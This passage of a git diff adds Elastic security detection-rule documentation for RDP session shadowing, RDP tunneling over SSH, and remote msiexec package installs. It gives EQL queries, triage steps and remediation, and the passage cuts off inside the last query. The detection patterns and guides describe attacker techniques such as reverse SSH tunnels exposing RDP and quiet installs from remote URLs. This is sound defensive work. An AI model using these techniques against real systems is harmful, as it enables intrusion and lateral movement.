no-consent/control shadowing or stealthy policy relaxation; close only when evidence binds to one recognized support, training, or policy workflow with no contradictions; if mixed or incomplete, preserve process and registry artifacts and escalate. + + +*False positive analysis* + + +- Helpdesk support, training labs, and supervised administration can legitimately use "mstsc.exe /shadow" or target-side "RdpSa*" helpers. Confirm `process.command_line`, `process.name`, `process.parent.name`, `user.id`, `host.id`, and any `Shadow` value align with the same authorized workflow, without contradictory `process.command_line` or `registry.path` evidence. Without ticketing or support rosters, require telemetry-only recurrence of the same command pattern, user-host pairing, consent mode, and quiet follow-on profile before closing as benign. +- Group Policy or endpoint management tooling can legitimately change `Shadow`. Confirm stable `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, exact `registry.path`, and resulting `registry.data.strings` match the host class. Without change records or GPO inventories, require quiet recurrence of the same process and registry pattern for the same management scope before closing. +- Before creating an exception, anchor it on the minimum confirmed workflow: `event.category`, exact `process.command_line` or `registry.path`, `registry.data.strings`, `user.id`, and `host.id`. Avoid exceptions on `process.name`, `registry.value`, or `Shadow` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact `event.category`, `process.command_line` or `registry.path`, `registry.data.strings`, `user.id`, and `host.id` that proved the support, training, or policy workflow. Create an exception only after the same narrow pattern recurs. +- If suspicious but unconfirmed, preserve a case export with the process tree, `process.entity_id`, `process.command_line`, `process.parent.command_line`, `registry.path`, `registry.value`, `registry.data.strings`, affected `user.id`, affected `host.id`, and surrounding preparation or follow-on evidence before changing host state. +- Apply reversible containment next: restore the `Shadow` policy to the pre-change value, disable shadowing with `0`, require consent with `1` or `3`, or restrict the involved account on the affected `host.id`. Escalate to host isolation only when shadowing is part of broader session abuse and the host role can tolerate isolation. +- If confirmed malicious, isolate the host when feasible, then terminate active "mstsc.exe" or "RdpSa*" shadowing processes after recording their process identifiers and command lines. Revert unauthorized `Shadow` and related Terminal Services or RDP shadow permission changes after preservation. +- Scope other hosts and users tied to the same `user.id`, `process.command_line`, `registry.path`, or `registry.data.strings` before removing artifacts or resetting access. +- Remove malicious helper scripts or tooling found during scoping, revert unauthorized RDP service or policy changes, and reset credentials that may have been exposed in the shadowed session. +- Post-incident hardening: keep `Shadow` at the least permissive accepted setting, restrict who can shadow sessions, review RDP-Tcp shadow permissions, and retain process and registry telemetry needed to distinguish support use from no-consent shadowing. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +/* Identifies the modification of RDP Shadow registry or + the execution of processes indicative of active shadow RDP session */ + +any where host.os.type == "windows" and +( + (event.category == "registry" and event.type == "change" and + registry.value : "Shadow" and + registry.path : ( + "*\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\Shadow" + ) and + registry.data.strings : ("1", "0x00000001", "2", "0x00000002", "3", "0x00000003", "4", "0x00000004") + + ) or + (event.category == "process" and event.type == "start" and + ( + (process.name : ("RdpSaUacHelper.exe", "RdpSaProxy.exe") and process.parent.name : "svchost.exe") or + (?process.pe.original_file_name : "mstsc.exe" and process.args : "/shadow:*") + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: RDP Hijacking +** ID: T1563.002 +** Reference URL: https://attack.mitre.org/techniques/T1563/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-tunneling-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-tunneling-detected.asciidoc new file mode 100644 index 0000000000..745814b5f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-desktop-tunneling-detected.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-potential-remote-desktop-tunneling-detected]] +=== Potential Remote Desktop Tunneling Detected + +Identifies potential use of an SSH utility to establish RDP over an SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Desktop Tunneling Detected* + + + +*Possible investigation steps* + + +- Does the command line describe local or reverse forwarding of RDP, and who is being exposed through it? + - Why: tunnel direction changes the risk. "-L" accesses a remote RDP service through the tunnel (common admin pattern); "-R" exposes a host's RDP service outward through an attacker-controlled SSH server (the classic plink reverse-tunnel attack pattern). + - Focus: `process.command_line` and `process.executable`, checking whether the flag is "-L" (local) or "-R" (reverse), which host and port 3389 are forwarded, and whether inline credentials ("-pw") or saved sessions ("-load") are present. Many SSH clients ship unsigned, so use `process.Ext.relative_file_creation_time` to distinguish long-installed tools from recently dropped ones. + - Implication: "-R" (reverse forward) exposes an internal RDP service outward through the SSH server and is the higher-risk direction; "-L" (local forward) accesses a remote RDP service through the tunnel and is common in admin jump-host workflows. Both directions are common. Concern rises further when inline credentials are embedded, the remote endpoint is obscured behind a wrapper, or the binary is renamed, portable, or recently dropped. + +- Do surrounding artifacts show the operator seeded trust or tried to keep the tunnel reusable? + - Why: persistent tunnels are often paired with host-key trust, saved configuration, or scheduled relaunch so the tunnel can start non-interactively and survive user interruption. + - Focus: for OpenSSH clients, check `file.path` for recent changes to `~/.ssh/known_hosts`, `~/.ssh/config`, or `~/.ssh/authorized_keys`, and surrounding `process.command_line` for "schtasks.exe", "at.exe", or scripted relaunches. For PuTTY/plink, check `registry.path` and `registry.data.strings` for "SshHostKeys", "Sessions", or "-load" session reuse. + - Implication: more concerning when new host-key entries, saved configurations, or scheduled relaunch activity appear just before or after the tunnel start; more explainable when the trust cache and relaunch method already belong to an established workflow with no new persistence changes. + +- Does network telemetry show an SSH session to a destination that fits the expected workflow? + - Focus: the SSH destination is already in `process.args` from the alert. Use the network transform to confirm the connection succeeded and to check `destination.as.organization.name` for ownership context, especially for reverse forwards to external servers. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the command line already names an internal hostname you can verify, the network transform is optional. It adds the most value when the destination is an IP literal or an unfamiliar external host. + - Implication: supports concern when the process reaches a rare external destination, an unexpected SSH port, or infrastructure with no recognizable ownership; less concerning when the destination, port, and domain pattern fit a known bastion or jump host. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts or repeated tunneling activity? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours, looking for delivery, persistence, credential access, or other remote-access activity around the tunnel event. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: supports concern when the host or user shows delivery, credential theft, or follow-on remote-access alerts; keeps the case locally bounded when alert history stays tied to one recognized admin workflow. + +- Escalate when tunnel direction, binary context, persistence artifacts, network destination, or alert scope align on unauthorized RDP exposure or SSH tunneling; close only when all evidence fits a recognized administration workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Bastion or jump-host tunneling can legitimately trigger this rule. Confirm it when `process.executable`, `process.parent.executable`, the forwarding direction and target in `process.args`, and the `user.id`/`host.id` pairing all align with one recognized admin workflow. If records are unavailable, require the same binary path, parent, and tunnel pattern to recur across prior alerts. +- Before creating an exception, build on the forwarding target in `process.command_line` (e.g., the specific host and port being tunneled) combined with `process.executable`, `user.id`, and `host.id`. Most SSH clients triggering this rule are unsigned, so `process.code_signature.subject_name` is usually empty and `process.hash.sha256` changes with updates. Avoid exceptions on port 3389, `process.name`, or SSH switches alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary destination blocks or process suspension and document the evidence that proved the workflow, including `process.hash.sha256`, `process.parent.executable`, `process.command_line`, `destination.ip` or `dns.question.name`, any linked `source.ip`, and the bounded `user.id` and `host.id` scope. Create an exception only if that same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the full `process.command_line`, the alert's `process.entity_id`, `process.hash.sha256`, signer details, `destination.ip`, `dns.question.name`, linked `winlog.event_data.TargetLogonId` and `source.ip`, and any trust-seeding or relaunch artifacts (OpenSSH config files or PuTTY registry entries). Apply reversible containment first, such as blocking the SSH destination, suspending the tunneling process, or restricting the affected account. Escalate to host isolation only if the host role can tolerate it and the session or related-alert evidence suggests active abuse. +- If confirmed malicious, use endpoint response to isolate the host and terminate or suspend the tunneling process after recording `process.entity_id`, the parent chain, destination indicators, linked logon details, and any scheduled task, service, script, or registry artifacts that relaunch the tunnel. If direct endpoint response is unavailable, escalate with that artifact set to the team that can contain the host or account. +- Before deleting artifacts or resetting accounts, review other hosts and users for the same destination pattern, launcher lineage, or scheduled relaunch method so scoping is complete. Then remove the scheduled task, service, script, registry entries, and SSH client artifacts that sustained the tunnel, review any RDP-reachable systems for follow-on access, and reset credentials where the session review shows likely exposure or misuse. +- Post-incident hardening: restrict which hosts and accounts can run SSH tunneling tools, limit outbound SSH to recognized bastions, and retain process, file, and registry telemetry for SSH client activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* RDP port with SSH local or reverse port-forwarding flags */ + process.args : "*:3389" and process.args : ("-L", "-R") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-file-execution-via-msiexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-file-execution-via-msiexec.asciidoc new file mode 100644 index 0000000000..026b13e033 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-file-execution-via-msiexec.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-potential-remote-file-execution-via-msiexec]] +=== Potential Remote File Execution via MSIEXEC + +Identifies the execution of the built-in Windows Installer, msiexec.exe, to install a remote package. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote File Execution via MSIEXEC* + + +MSIEXEC, the Windows Installer, facilitates software installation, modification, and removal. Adversaries exploit it to execute remote MSI files, bypassing security controls. The detection rule identifies suspicious MSIEXEC activity by monitoring process starts, network connections, and child processes, filtering out known benign signatures and paths, thus highlighting potential misuse for initial access or defense evasion. + + +*Possible investigation steps* + + +- Review the process start event for msiexec.exe to identify the command-line arguments used, focusing on the presence of the "/V" flag, which indicates a remote installation attempt. +- Examine the network connection attempts associated with msiexec.exe to determine the remote IP addresses or domains being contacted, and assess their reputation or any known associations with malicious activity. +- Investigate the child processes spawned by msiexec.exe, especially those not matching known benign executables or paths, to identify any suspicious or unexpected activity. +- Check the user ID associated with the msiexec.exe process to verify if it aligns with expected user behavior or if it indicates potential compromise, especially focusing on user IDs like "S-1-5-21-*" or "S-1-5-12-1-*". +- Analyze the code signature of any child processes to ensure they are trusted and expected, paying particular attention to any unsigned or untrusted executables. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user, as the MITRE ATT&CK technique T1566 (Phishing) is associated with this rule. + + +*False positive analysis* + + +- Legitimate software installations using msiexec.exe may trigger the rule. To manage this, create exceptions for known software update processes that use msiexec.exe with trusted code signatures. +- System maintenance tasks that involve msiexec.exe, such as Windows updates or system repairs, can be excluded by identifying and allowing specific system paths and executables involved in these processes. +- Enterprise software deployment tools that utilize msiexec.exe for remote installations might cause false positives. Exclude these by verifying the code signature and adding exceptions for trusted deployment tools. +- Administrative scripts or automation tools that invoke msiexec.exe for legitimate purposes should be reviewed and, if verified as safe, excluded based on their execution context and code signature. +- Network monitoring tools or security software that simulate msiexec.exe activity for testing or monitoring purposes can be excluded by identifying their specific signatures and paths. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. This can be done by disabling network interfaces or moving the system to a quarantine VLAN. +- Terminate the msiexec.exe process if it is still running to stop any ongoing malicious activity. Use task management tools or scripts to ensure the process is completely stopped. +- Conduct a thorough review of the system for any unauthorized changes or installations. Check for newly installed software or modifications to system files that could indicate further compromise. +- Restore the system from a known good backup if unauthorized changes are detected and cannot be easily reversed. Ensure the backup is clean and free from any malicious alterations. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. This includes applying all relevant Windows updates and security patches. +- Enhance monitoring and logging on the affected system and network to detect any similar future attempts. Ensure that all relevant security events are being captured and analyzed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. Provide them with all relevant logs and findings for a comprehensive analysis. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [process where host.os.type == "windows" and event.action == "start" and + process.name : "msiexec.exe" and process.args : "/V"] by process.entity_id + [network where host.os.type == "windows" and process.name : "msiexec.exe" and + event.action == "connection_attempted"] by process.entity_id + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : "msiexec.exe" and user.id : ("S-1-5-21-*", "S-1-5-12-1-*") and + not process.executable : ("?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\srtasks.exe", + "?:\\Windows\\SysWOW64\\srtasks.exe", + "?:\\Windows\\System32\\taskkill.exe", + "?:\\Windows\\Installer\\MSI*.tmp", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\ie4uinit.exe", + "?:\\Windows\\SysWOW64\\ie4uinit.exe", + "?:\\Windows\\System32\\sc.exe", + "?:\\Windows\\system32\\Wbem\\mofcomp.exe", + "?:\\Windows\\twain_32\\fjscan32\\SOP\\crtdmprc.exe", + "?:\\Windows\\SysWOW64\\taskkill.exe", + "?:\\Windows\\SysWOW64\\schtasks.exe", + "?:\\Windows\\system32\\schtasks.exe", + "?:\\Windows\\System32\\sdbinst.exe") and + not (process.code_signature.subject_name == "Citrix Systems, Inc." and process.code_signature.trusted == true) and + not (process.name : ("regsvr32.exe", "powershell.exe", "rundll32.exe", "wscript.exe") and + process.Ext.token.integrity_level_name == "high" and + process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*")) and + not (process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe") and process.code_signature.trusted == true) and + not (process.name : "rundll32.exe" and process.args : "printui.dll,PrintUIEntry") + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-install-via-msiexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-install-via-msiexec.asciidoc new file mode 100644 index 0000000000..d95a0b2a31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-remote-install-via-msiexec.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-remote-install-via-msiexec]] +=== Potential Remote Install via MsiExec + +Identifies attempts to install a file from a remote server using MsiExec. Adversaries may abuse Windows Installers for initial access and delivery of malware. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Install via MsiExec* + + +*Possible investigation steps* + + +- What remote installer behavior is preserved in the alert? + - Focus: `process.command_line`, `process.parent.name`, and `process.parent.command_line`, especially quiet install or patch switches, the remote MSI or `TRANSFORMS=` source, and HTTP, raw-IP, public-hosting, or recognized distribution sources. + - Implication: escalate for quiet remote installs, remote MSTs, or patches from suspicious infrastructure under interactive or script-launcher parents; lower concern only when the command, source, and parent match one recurring deployment, repair, or onboarding pattern. + +- Is the msiexec binary identity expected for Windows Installer? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.hash.sha256`. + - Implication: escalate faster when msiexec is renamed, unsigned, untrusted, newly seen, or in a user-writable path; trusted Microsoft identity only confirms the proxy binary, not the remote install. + +- Does the parent and ancestry explain why msiexec ran? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, `user.id`, and the affected host. + - Implication: escalate when browser-adjacent, script, shell, WMI, or unusual interactive ancestry invokes the remote package without a stable workflow; lower concern when the parent, user, and host pattern fits a recognized management or support path. + +- Do process events show payload execution after the installer starts? + - Focus: child starts on the same `host.id` where `process.parent.entity_id` matches `process.entity_id`, checking child `process.command_line`, `process.executable`, and `process.hash.sha256`. !{investigate{"description":"","label":"Child process activity from msiexec","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use `host.id` + `process.pid` + tight alert window only when entity linkage is unavailable, and treat the result as weaker. + - Implication: escalate when msiexec spawns shells, script interpreters, LOLBins, scheduled-task tools, or user-space binaries tied to the remote package; lower concern when follow-on activity stays inside the same signed product install flow. + +- Does the remote source and workflow context fit one legitimate package path? + - Focus: URL, host, package name, or remote `TRANSFORMS=` in `process.command_line`, plus `process.parent.executable`, `user.id`, and `host.id` context for that source. + - Hint: if network or file telemetry exists, correlate destination or artifact evidence with `host.id` + `process.entity_id`; use `host.id` + `process.pid` + tight alert window only without entity linkage. Missing file or network telemetry is unresolved, not benign, and does not block escalation when process evidence is strong. !{investigate{"description":"","label":"File or network activity by msiexec","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source is raw IPs, public file hosting, look-alike vendors, temp/download staging, or infrastructure unrelated to the expected product; lower concern when source, launcher, user-host scope, and recovered corroboration fit one internal distribution point or vendor service. + +- Escalate on suspicious quiet-install intent, mismatched identity or lineage, unfit package source, or payload child execution; close only when process evidence and recovered corroboration align to one exact deployment, repair, or support workflow; preserve and escalate when evidence is mixed or visibility is incomplete. Use same-user or same-host related alerts after escalation only to size scope, not prove the local alert. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + + +*False positive analysis* + + +- First check whether `http:` or `https:` follows `/i` or `/p` directly (remote source -- investigate) or sits inside a `PROPERTY=` value while the MSI source is local or relative (configuration URL -- likely benign). The rule excludes local `C:\` sources after `/i`; UNC, relative-path, or other local sources with property URLs need manual confirmation or customer-side exceptions. +- Legitimate deployment, patching, or agent-repair workflows can use quiet remote msiexec. Confirm when `process.command_line`, `process.parent.executable`, `user.id`, and `host.id` align to one recurring product path. Do not close on a vendor-looking URL, signed msiexec, or familiar parent name alone. +- Build exceptions from `process.parent.executable`, package source pattern in `process.command_line`, and stable `host.id` or `user.id` cohort. Avoid exceptions on msiexec, `process.parent.name`, domain suffix, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the installer command, remote package source, parent launcher, signer/hash identity, affected `user.id`, affected `host.id`, and any recovered destination or artifact pattern. Create an exception only after the same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert record, process tree, `process.entity_id` values, installer command line, remote URL or `TRANSFORMS=` value, parent command line, child process records, and any recovered package, destination, or provenance artifacts before containment. Apply reversible controls only when command, parent, or child-process evidence suggests active delivery; otherwise keep evidence collection open rather than starting cleanup. +- If confirmed malicious, preserve process identifiers, command lines, recovered packages, and destination indicators before isolating the host, terminating msiexec or follow-on payloads, blocking confirmed indicators, or removing staged installers, extracted payloads, persistence changes, or scheduled-task material tied to the chain. +- Post-incident hardening: close the delivery path that introduced the remote package, restrict msiexec remote-install use to controlled deployment tooling where feasible, review hosts where installer-elevation policy would increase impact, and document adjacent variants such as remote `TRANSFORMS=` abuse or DLL registration through `/y` and `/z`. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "msiexec.exe" and process.args : ("-i*", "/i*", "-p*", "/p*") and + process.command_line : ("*http:*", "*https:*") and + process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and + process.parent.name : ( + "sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", + "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe" + ) and + + not process.command_line : ( + "*--set-server=*", "*UPGRADEADD=*" , "*--url=*", "*USESERVERCONFIG=*", "*RCTENTERPRISESERVER=*", + "*app.ninjarmm.com*", "*zoom.us/client*", "*SUPPORTSERVERSTSURI=*", "*START_URL=*", "*AUTOCONFIG=*", + "*awscli.amazonaws.com*", 